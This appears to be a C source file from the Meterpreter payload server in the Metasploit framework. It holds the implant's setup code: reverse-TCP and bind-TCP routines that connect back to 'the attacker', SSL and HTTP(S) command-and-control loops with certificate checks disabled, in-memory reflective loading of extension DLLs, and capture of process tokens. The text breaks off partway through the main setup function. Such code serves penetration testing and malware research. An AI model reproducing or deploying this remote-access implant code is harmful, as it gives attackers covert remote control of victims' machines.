/*!
 * @file server_setup.c
 */
#include "metsrv.h"
#include "../../common/common.h"
#include <ws2tcpip.h>

extern Command *extensionCommands;

char * global_meterpreter_transport = "METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char * global_meterpreter_url = "https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
char * global_meterpreter_ua = "METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char * global_meterpreter_proxy = "METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char * global_meterpreter_proxy_username = "METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char * global_meterpreter_proxy_password = "METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
int global_expiration_timeout = 0xb64be661;
int global_comm_timeout       = 0xaf79257f;

/*! @brief Number of milliseconds to wait before connection retries. */
const DWORD RETRY_TIMEOUT_MS = 1000;

#ifdef _WIN32

#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
#include <excpt.h>

// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor

// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
{
	return EXCEPTION_EXECUTE_HANDLER;
}

#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); }

#else
#define InitAppInstance()
#define exceptionfilter(a, b)
#define SetHandleInformation(a, b, c)
#define ExitThread(x) exit((x))
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
#endif

#define PREPEND_ERROR "### Error: "
#define PREPEND_INFO  "### Info : "
#define PREPEND_WARN  "### Warn : "

/*! @brief This thread is the main server thread. */
static THREAD * serverThread = NULL;

/*! @brief An array of locks for use by OpenSSL. */
static LOCK ** ssl_locks = NULL;

/*!
 * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it.
 * @param host String containing the name or IP of the host to connect to.
 * @param port Port number to connect to.
 * @param retryAttempts The number of times to attempt to retry.
 */
DWORD reverse_tcp4(const char* host, u_short port, short retryAttempts, SOCKET* socketBuffer)
{
	*socketBuffer = 0;

	// start by attempting to fire up Winsock.
	WSADATA wsaData = { 0 };
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
	{
		return WSAGetLastError();
	}

	// prepare to connect to the attacker
	SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	struct hostent* target = gethostbyname(host);
	char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list);

	SOCKADDR_IN sock = { 0 };
	sock.sin_addr.s_addr = inet_addr(targetIp);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	// try connect to the attacker at least once
	while (connect(socketHandle, (SOCKADDR*)&sock, sizeof(sock)) == SOCKET_ERROR)
	{
		// retry with a sleep if it fails, or exit the process on failure
		if (retryAttempts-- <= 0)
		{
			return WSAGetLastError();
		}

		Sleep(RETRY_TIMEOUT_MS);
	}

	*socketBuffer = socketHandle;

	return ERROR_SUCCESS;
}

/*!
 * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it.
 * @param host String containing the name or IP of the host to connect to.
 * @param service The target service/port.
 * @param scopeId IPv6 scope ID.
 * @param retryAttempts The number of times to attempt to retry.
 */
DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, short retryAttempts, SOCKET* socketBuffer)
{
	*socketBuffer = 0;

	// start by attempting to fire up Winsock.
	WSADATA wsaData = { 0 };
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
	{
		return WSAGetLastError();
	}

	ADDRINFO hints = { 0 };
	hints.ai_family = AF_INET6;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	LPADDRINFO addresses;
	if (getaddrinfo(host, service, &hints, &addresses) != 0)
	{
		return WSAGetLastError();
	}


	// prepare to connect to the attacker
	SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

	if (socketHandle == INVALID_SOCKET)
	{
		dprintf("[STAGELESS IPV6] failed to connect to attacker");
		return WSAGetLastError();
	}

	dprintf("[STAGELESS IPV6] Socket successfully created");
	while (retryAttempts-- > 0)
	{
		dprintf("[STAGELESS IPV6] Attempt %u", retryAttempts + 1);
		for (LPADDRINFO address = addresses; address != NULL; address = address->ai_next)
		{
			((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId;

			if (connect(socketHandle, address->ai_addr, address->ai_addrlen) != SOCKET_ERROR)
			{
				dprintf("[STAGELESS IPV6] Socket successfully connected");
				*socketBuffer = socketHandle;
				freeaddrinfo(addresses);
				return ERROR_SUCCESS;
			}
		}

		Sleep(RETRY_TIMEOUT_MS);
	}

	closesocket(socketHandle);
	freeaddrinfo(addresses);
	return WSAGetLastError();

}

/*!
 * @brief Listens on a port for an incoming payload request.
 * @param port Port number to listen on.
 */
DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
{
	*socketBuffer = 0;

	// start by attempting to fire up Winsock.
	WSADATA wsaData = { 0 };
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
	{
		return WSAGetLastError();
	}

	// prepare a connection listener for the attacker to connect to
	SOCKET listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	struct sockaddr_in sock = { 0 };
	sock.sin_addr.s_addr = inet_addr("0.0.0.0");
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	if (bind(listenSocket, (SOCKADDR *)&sock, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
	{
		return WSAGetLastError();
	}

	if (listen(listenSocket, 1) == SOCKET_ERROR)
	{
		return WSAGetLastError();
	}

	// Setup, ready to go, now wait for the connection.
	SOCKET acceptSocket = accept(listenSocket, NULL, NULL);

	// don't bother listening for other connections
	closesocket(listenSocket);

	if (acceptSocket == INVALID_SOCKET)
	{
		return WSAGetLastError();
	}

	*socketBuffer = acceptSocket;
	return ERROR_SUCCESS;
}

DWORD estbalish_tcp_connection(char* url, SOCKET* socketBuffer)
{
	dprintf("[STAGELESS] Url: %s", url);
	if (strncmp(url, "tcp", 3) == 0)
	{
		const int iRetryAttempts = 30;
		char* pHost = strstr(url, "//") + 2;
		char* pPort = strrchr(pHost, ':') + 1;

		// check if we're using IPv6
		if (url[3] == '6')
		{
			dprintf("[STAGELESS] IPv6");
			char* pScopeId = strrchr(pHost, '?') + 1;
			*(pScopeId - 1) = '\0';
			*(pPort - 1) = '\0';
			dprintf("[STAGELESS] IPv6 host %s port %s scopeid %s", pHost, pPort, pScopeId);
			return reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, socketBuffer);
		}

		dprintf("[STAGELESS] IPv4");
		u_short usPort = (u_short)atoi(pPort);

		// if no host is specified, then we can assume that this is a bind payload, otherwise
		// we'll assume that the payload is a reverse_tcp one and the given host is valid
		// TODO: check to make sure this is a valid thing to do with IPv6
		if (*pHost == ':')
		{
			dprintf("[STAGELESS] IPv4 bind port %s", pPort);
			return bind_tcp(usPort, socketBuffer);
		}

		*(pPort - 1) = '\0';
		dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
		return reverse_tcp4(pHost, usPort, iRetryAttempts, socketBuffer);
	}
	return ERROR_SUCCESS;
}

/*!
 * @brief A callback function used by OpenSSL to leverage native system locks.
 * @param mode The lock mode to set.
 * @param type The lock type to operate on.
 * @param file Unused.
 * @param line Unused.
 */
static VOID server_locking_callback(int mode, int type, const char * file, int line)
{
	if (mode & CRYPTO_LOCK)
	{
		lock_acquire(ssl_locks[type]);
	}
	else
	{
		lock_release(ssl_locks[type]);
	}
}

/*!
 * @brief A callback function used by OpenSSL to get the current threads id.
 * @returns The current thread ID.
 * @remarks While not needed on windows this must be used for posix meterpreter.
 */
static long unsigned int server_threadid_callback(VOID)
{
#ifdef _WIN32
	return GetCurrentThreadId();
#else
	return pthread_self();
#endif
}

/*!
 * @brief A callback function for dynamic lock creation for OpenSSL.
 * @returns A pointer to a lock that can be used for synchronisation.
 * @param file _Ignored_
 * @param line _Ignored_
 */
static struct CRYPTO_dynlock_value* server_dynamiclock_create(const char * file, int line)
{
	return (struct CRYPTO_dynlock_value*)lock_create();
}

/*!
 * @brief A callback function for dynamic lock locking for OpenSSL.
 * @param mode A bitmask which indicates the lock mode.
 * @param l A point to the lock instance.
 * @param file _Ignored_
 * @param line _Ignored_
 */
static void server_dynamiclock_lock(int mode, struct CRYPTO_dynlock_value* l, const char* file, int line)
{
	LOCK * lock = (LOCK *)l;

	if (mode & CRYPTO_LOCK)
	{
		lock_acquire(lock);
	}
	else
	{
		lock_release(lock);
	}
}

/*!
 * @brief A callback function for dynamic lock destruction for OpenSSL.
 * @param l A point to the lock instance.
 * @param file _Ignored_
 * @param line _Ignored_
 */
static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value* l, const char * file, int line)
{
	lock_destroy((LOCK *)l);
}

/*!
 * @brief Flush all pending data on the connected socket before doing SSL.
 * @param remote Pointer to the remote instance.
 */
static VOID server_socket_flush(Remote * remote)
{
	fd_set fdread;
	DWORD ret;
	SOCKET fd;
	char buff[4096];

	lock_acquire(remote->lock);

	fd = remote_get_fd(remote);

	while (1)
	{
		struct timeval tv;
		LONG data;

		FD_ZERO(&fdread);
		FD_SET(fd, &fdread);

		// Wait for up to one second for any errant socket data to appear
		tv.tv_sec = 1;
		tv.tv_usec = 0;

		data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
		if (data == 0)
		{
			break;
		}

		ret = recv(fd, buff, sizeof(buff), 0);
		dprintf("[SERVER] Flushed %d bytes from the buffer", ret);

		// The socket closed while we waited
		if (ret == 0)
		{
			break;
		}
		continue;
	}

	lock_release(remote->lock);
}

/*!
 * @brief Poll a socket for data to recv and block when none available.
 * @param remote Pointer to the remote instance.
 * @param timeout Amount of time to wait before the poll times out.
 */
static LONG server_socket_poll(Remote * remote, long timeout)
{
	struct timeval tv;
	LONG result;
	fd_set fdread;
	SOCKET fd;

	lock_acquire(remote->lock);

	fd = remote_get_fd(remote);

	FD_ZERO(&fdread);
	FD_SET(fd, &fdread);

	tv.tv_sec = 0;
	tv.tv_usec = timeout;

	result = select((int)fd + 1, &fdread, NULL, NULL, &tv);

#ifndef _WIN32
	// Handle EAGAIN, etc.
	if(result == -1)
	{
		if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
		{
			result = 0;
		}
	}
#endif

	lock_release(remote->lock);

	return result;
}

/*!
 * @brief Initialize the OpenSSL subsystem for use in a multi threaded enviroment.
 * @param remote Pointer to the remote instance.
 */
static BOOL server_initialize_ssl(Remote * remote)
{
	int i = 0;

	lock_acquire(remote->lock);

	// Begin to bring up the OpenSSL subsystem...
	CRYPTO_malloc_init();
	SSL_load_error_strings();
	SSL_library_init();

	// Setup the required OpenSSL multi-threaded enviroment...
	ssl_locks = (LOCK**)malloc(CRYPTO_num_locks() * sizeof(LOCK *));
	if (ssl_locks == NULL)
	{
		lock_release(remote->lock);
		return FALSE;
	}

	for (i = 0; i < CRYPTO_num_locks(); i++)
	{
		ssl_locks[i] = lock_create();
	}

	CRYPTO_set_id_callback(server_threadid_callback);
	CRYPTO_set_locking_callback(server_locking_callback);
	CRYPTO_set_dynlock_create_callback(server_dynamiclock_create);
	CRYPTO_set_dynlock_lock_callback(server_dynamiclock_lock);
	CRYPTO_set_dynlock_destroy_callback(server_dynamiclock_destroy);

	lock_release(remote->lock);

	return TRUE;
}

/*!
 * @brief Bring down the OpenSSL subsystem
 * @return Indication of success or failure.
 * @param remote Pointer to the remote instance.
 */
static BOOL server_destroy_ssl(Remote * remote)
{
	int i = 0;

	if (remote == NULL)
	{
		return FALSE;
	}

	dprintf("[SERVER] Destroying SSL");

	lock_acquire(remote->lock);

	SSL_free(remote->ssl);

	SSL_CTX_free(remote->ctx);

	CRYPTO_set_locking_callback(NULL);
	CRYPTO_set_id_callback(NULL);
	CRYPTO_set_dynlock_create_callback(NULL);
	CRYPTO_set_dynlock_lock_callback(NULL);
	CRYPTO_set_dynlock_destroy_callback(NULL);

	for (i = 0; i < CRYPTO_num_locks(); i++)
	{
		lock_destroy(ssl_locks[i]);
	}

	free(ssl_locks);

	lock_release(remote->lock);

	return TRUE;
}

/*
 */
/*!
 * @brief Negotiate SSL on the socket.
 * @return Indication of success or failure.
 * @param remote Pointer to the remote instance.
 */
static BOOL server_negotiate_ssl(Remote *remote)
{
	BOOL success = TRUE;
	SOCKET fd = 0;
	DWORD ret = 0;
	DWORD res = 0;

	lock_acquire(remote->lock);

	do
	{
		fd = remote_get_fd(remote);

		remote->meth = TLSv1_client_method();

		remote->ctx = SSL_CTX_new(remote->meth);
		SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);

		remote->ssl = SSL_new(remote->ctx);
		SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);

		if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0)
		{
			dprintf("[SERVER] set fd failed");
			success = FALSE;
			break;
		}

		do
		{
			if ((ret = SSL_connect(remote->ssl)) != 1)
			{
				res = SSL_get_error(remote->ssl, ret);
				dprintf("[SERVER] connect failed %d\n", res);

				if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE)
				{
					// Catch non-blocking socket errors and retry
					continue;
				}

				success = FALSE;
				break;
			}
		} while (ret != 1);

		if (success == FALSE) break;

		dprintf("[SERVER] Sending a HTTP GET request to the remote side...");

		if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0)
		{
			dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
		}

	} while (0);

	lock_release(remote->lock);

	dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);

	if (ret < 0)
	{
		success = FALSE;
	}

	return success;
}

/*!
 * @brief The servers main dispatch loop for incoming requests using SSL over TCP
 * @param remote Pointer to the remote endpoint for this server connection.
 * @returns Indication of success or failure.
 */
static DWORD server_dispatch(Remote * remote)
{
	BOOL running = TRUE;
	LONG result = ERROR_SUCCESS;
	Packet * packet = NULL;
	THREAD * cpt = NULL;

	dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);

	// Bring up the scheduler subsystem.
	result = scheduler_initialize(remote);
	if (result != ERROR_SUCCESS)
	{
		return result;
	}

	while (running)
	{
		if (event_poll(serverThread->sigterm, 0))
		{
			dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
			break;
		}

		result = server_socket_poll(remote, 100);
		if (result > 0)
		{
			result = packet_receive(remote, &packet);
			if (result != ERROR_SUCCESS)
			{
				dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
				break;
			}

			running = command_handle(remote, packet);
			dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
		}
		else if (result < 0)
		{
			dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
			break;
		}
	}

	dprintf("[DISPATCH] calling scheduler_destroy...");
	scheduler_destroy();

	dprintf("[DISPATCH] calling command_join_threads...");
	command_join_threads();

	dprintf("[DISPATCH] leaving server_dispatch.");

	return result;
}

#ifdef _WIN32
/*
 * The servers main dispatch loop for incoming requests using SSL over TCP
 */
static DWORD server_dispatch_http_wininet(Remote * remote)
{
	BOOL running = TRUE;
	LONG result = ERROR_SUCCESS;
	Packet * packet = NULL;
	THREAD * cpt = NULL;
	URL_COMPONENTS bits;
	DWORD ecount = 0;
	DWORD delay = 0;
	char tmpHostName[512];
	char tmpUrlPath[1024];

	remote->expiration_time = 0;
	if (global_expiration_timeout > 0)
	{
		remote->expiration_time = current_unix_timestamp() + global_expiration_timeout;
	}

	remote->comm_timeout = global_comm_timeout;
	remote->start_time = current_unix_timestamp();
	remote->comm_last_packet = current_unix_timestamp();

	// Allocate the top-level handle
	if (!strcmp(global_meterpreter_proxy, "METERPRETER_PROXY"))
	{
		remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	}
	else
	{
		remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0);
	}

	if (!remote->hInternet)
	{
		dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
		return 0;
	}

	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);

	// The InternetCrackUrl method was poorly designed...
	memset(tmpHostName, 0, sizeof(tmpHostName));
	memset(tmpUrlPath, 0, sizeof(tmpUrlPath));

	memset(&bits, 0, sizeof(bits));
	bits.dwStructSize = sizeof(bits);
	bits.dwHostNameLength = sizeof(tmpHostName)-1;
	bits.lpszHostName = tmpHostName;
	bits.dwUrlPathLength = sizeof(tmpUrlPath)-1;
	bits.lpszUrlPath = tmpUrlPath;

	InternetCrackUrl(remote->url, 0, 0, &bits);

	remote->uri = _strdup(tmpUrlPath);

	dprintf("[DISPATCH] Configured URL: %s", remote->uri);
	dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort);

	// Allocate the connection handle
	remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (!remote->hConnection)
	{
		dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
		return 0;
	}

	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);

	//authentication
	if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0))
	{
		InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username) + 1);
		InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password) + 1);
		dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password);
	}

	// Bring up the scheduler subsystem.
	result = scheduler_initialize(remote);
	if (result != ERROR_SUCCESS)
	{
		return result;
	}

	while (running)
	{
		if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to communication timeout");
			break;
		}

		if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp())
		{
			dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
			dprintf("Timestamp: %u  Expiration: %u", current_unix_timestamp(), remote->expiration_time);
			break;
		}

		if (event_poll(serverThread->sigterm, 0))
		{
			dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
			break;
		}

		dprintf("[DISPATCH] Reading data from the remote side...");
		result = packet_receive(remote, &packet);
		if (result != ERROR_SUCCESS)
		{

			// Update the timestamp for empty replies
			if (result == ERROR_EMPTY)
			{
				remote->comm_last_packet = current_unix_timestamp();
			}

			if (ecount < 10)
			{
				delay = 10 * ecount;
			}
			else
			{
				delay = 100 * ecount;
			}

			ecount++;

			dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
			Sleep(min(10000, delay));
			continue;
		}

		remote->comm_last_packet = current_unix_timestamp();

		// Reset the empty count when we receive a packet
		ecount = 0;

		dprintf("[DISPATCH] Returned result: %d", result);

		running = command_handle(remote, packet);
		dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
	}

	// Close WinInet handles
	InternetCloseHandle(remote->hConnection);
	InternetCloseHandle(remote->hInternet);

	dprintf("[DISPATCH] calling scheduler_destroy...");
	scheduler_destroy();

	dprintf("[DISPATCH] calling command_join_threads...");
	command_join_threads();

	dprintf("[DISPATCH] leaving server_dispatch.");

	return result;
}

#endif

/*
 * Get the session id that this meterpreter server is running in.
 */
DWORD server_sessionid()
{
#ifdef _WIN32
	typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );

	static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
	HMODULE hKernel   = NULL;
	DWORD dwSessionId = 0;

	do
	{
		if (!pProcessIdToSessionId)
		{
			hKernel = LoadLibrary("kernel32.dll");
			if (hKernel)
			{
				pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(hKernel, "ProcessIdToSessionId");
			}
		}

		if (!pProcessIdToSessionId)
		{
			break;
		}

		if (!pProcessIdToSessionId(GetCurrentProcessId(), &dwSessionId))
		{
			dwSessionId = -1;
		}

	} while( 0 );

	if (hKernel)
	{
		FreeLibrary(hKernel);
	}

	return dwSessionId;
#else
	return -1;
#endif
}

VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd)
{
	LPBYTE pExtensionStart = (LPBYTE)fd + sizeof(DWORD);
	DWORD size = *((LPDWORD)(pExtensionStart - sizeof(DWORD)));

	while (size > 0)
	{
		dprintf("[SERVER] Extension located at 0x%p: %u bytes", pExtensionStart, size);
		HMODULE hLibrary = LoadLibraryR(pExtensionStart, size);
		dprintf("[SERVER] Extension located at 0x%p: %u bytes loaded to %x", pExtensionStart, size, hLibrary);
		initialise_extension(hLibrary, TRUE, pRemote, NULL, extensionCommands);

		pExtensionStart += size + sizeof(DWORD);
		size = *((LPDWORD)(pExtensionStart - sizeof(DWORD)));
	}

	dprintf("[SERVER] All stageless extensions loaded");
}

/*
 * Setup and run the server. This is called from Init via the loader.
 */
DWORD server_setup(SOCKET fd)
{
	Remote* pRemote = NULL;
	char cStationName[256] = { 0 };
	char cDesktopName[256] = { 0 };
	DWORD res = 0;

	// first byte of the URL indites 's' if it's stageless
	BOOL bStageless = global_meterpreter_url[0] == 's';

	dprintf("[SERVER] Initializing...");

#ifdef _UNIX
	int local_error = 0;
#endif

	// if hAppInstance is still == NULL it means that we havent been
	// reflectivly loaded so we must patch in the hAppInstance value
	// for use with loading server extensions later.
	InitAppInstance();

	srand((unsigned int)time(NULL));

	__try
	{
		do
		{
			dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);

			// Open a THREAD item for the servers main thread, we use this to manage migration later.
			serverThread = thread_open();

			dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);

			if (!(pRemote = remote_allocate(fd)))
			{
				SetLastError(ERROR_NOT_ENOUGH_MEMORY);
				break;
			}

			pRemote->url = global_meterpreter_url;
			if (bStageless)
			{
				// if stageless, we ignore the first 's'
				pRemote->url += 1;
			}

			if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_SSL") == 0)
			{
				pRemote->transport = METERPRETER_TRANSPORT_SSL;
				dprintf("[SERVER] Using SSL transport on socket %ul...", fd);

				dprintf("[SERVER] setting up stageless comms if required...");
				res = estbalish_tcp_connection(pRemote->url, &pRemote->fd);
				if (res != ERROR_SUCCESS)
				{
					dprintf("[SERVER] Failed to get TCP communications running: %u (%x)", res, res);
					break;
				}
			}
			else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTPS") == 0)
			{
				pRemote->transport = METERPRETER_TRANSPORT_HTTPS;
				dprintf("[SERVER] Using HTTPS transport...");
			}
			else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTP") == 0)
			{
				pRemote->transport = METERPRETER_TRANSPORT_HTTP;
				dprintf("[SERVER] Using HTTP transport...");
			}

			// Do not allow the file descriptor to be inherited by child processes
			SetHandleInformation((HANDLE)pRemote->fd, HANDLE_FLAG_INHERIT, 0);

			dprintf("[SERVER] Initializing tokens...");

			// Store our thread handle
			pRemote->hServerThread = serverThread->handle;

#ifdef _WIN32
			// Store our process token
			if (!OpenThreadToken(pRemote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &pRemote->hServerToken))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &pRemote->hServerToken);
			}

			// Copy it to the thread token
			pRemote->hThreadToken = pRemote->hServerToken;

			// Save the initial session/station/desktop names...
			pRemote->dwOrigSessionId = server_sessionid();
			pRemote->dwCurrentSessionId = pRemote->dwOrigSessionId;
			GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL);
			pRemote->cpOrigStationName = _strdup(cStationName);
			pRemote->cpCurrentStationName = _strdup(cStationName);
			GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &cDesktopName, 256, NULL);
			pRemote->cpOrigDesktopName = _strdup(cDesktopName);
			pRemote->cpCurrentDesktopName = _strdup(cDesktopName);
#endif

			// Process our default SSL-over-TCP transport
			if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
			{
				dprintf("[SERVER] Flushing the socket handle...");
				server_socket_flush(pRemote);

				dprintf("[SERVER] Initializing SSL...");
				if (!server_initialize_ssl(pRemote))
				{
					break;
				}

				dprintf("[SERVER] Negotiating SSL...");
				if (!server_negotiate_ssl(pRemote))
				{
					break;
				}

				dprintf("[SERVER] Registering dispatch routines...");
				register_dispatch_routines();

				if (bStageless)
				{
					// in the case of stageless payloads, fd contains a pointer to the extensions
					// to load
					dprintf("[SERVER] Loading stageless extensions");
					load_stageless_extensions(pRemote, (ULONG_PTR)fd);
				}

				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
				server_dispatch(pRemote);

				dprintf("[SERVER] Deregistering dispatch routines...");
				deregister_dispatch_routines(pRemote);
			}

			if (pRemote->transport == METERPRETER_TRANSPORT_HTTP || pRemote->transport == METERPRETER_TRANSPORT_HTTPS)
			{
				dprintf("[SERVER] Registering dispatch routines...");
				register_dispatch_routines();

				if (bStageless)
				{
					// in the case of stageless payloads, fd contains a pointer to the extensions
					// to load
					dprintf("[SERVER] Loading stageless extensions");
					load_stageless_extensions(pRemote, (ULONG_PTR)fd);
				}

				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
#ifdef _WIN32
				server_dispatch_http_wininet(pRemote);
#else
				// XXX: Handle non-windows HTTP transport
#endif

				dprintf("[SERVER] Deregistering dispatch routines...");
				deregister_dispatch_routines(pRemote);
			}

		} while (0);

		if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
		{
			dprintf("[SERVER] Closing down SSL...");
			server_destroy_ssl(pRemote);
		}

		if (pRemote)
		{
			remote_deallocate(pRemote);
		}
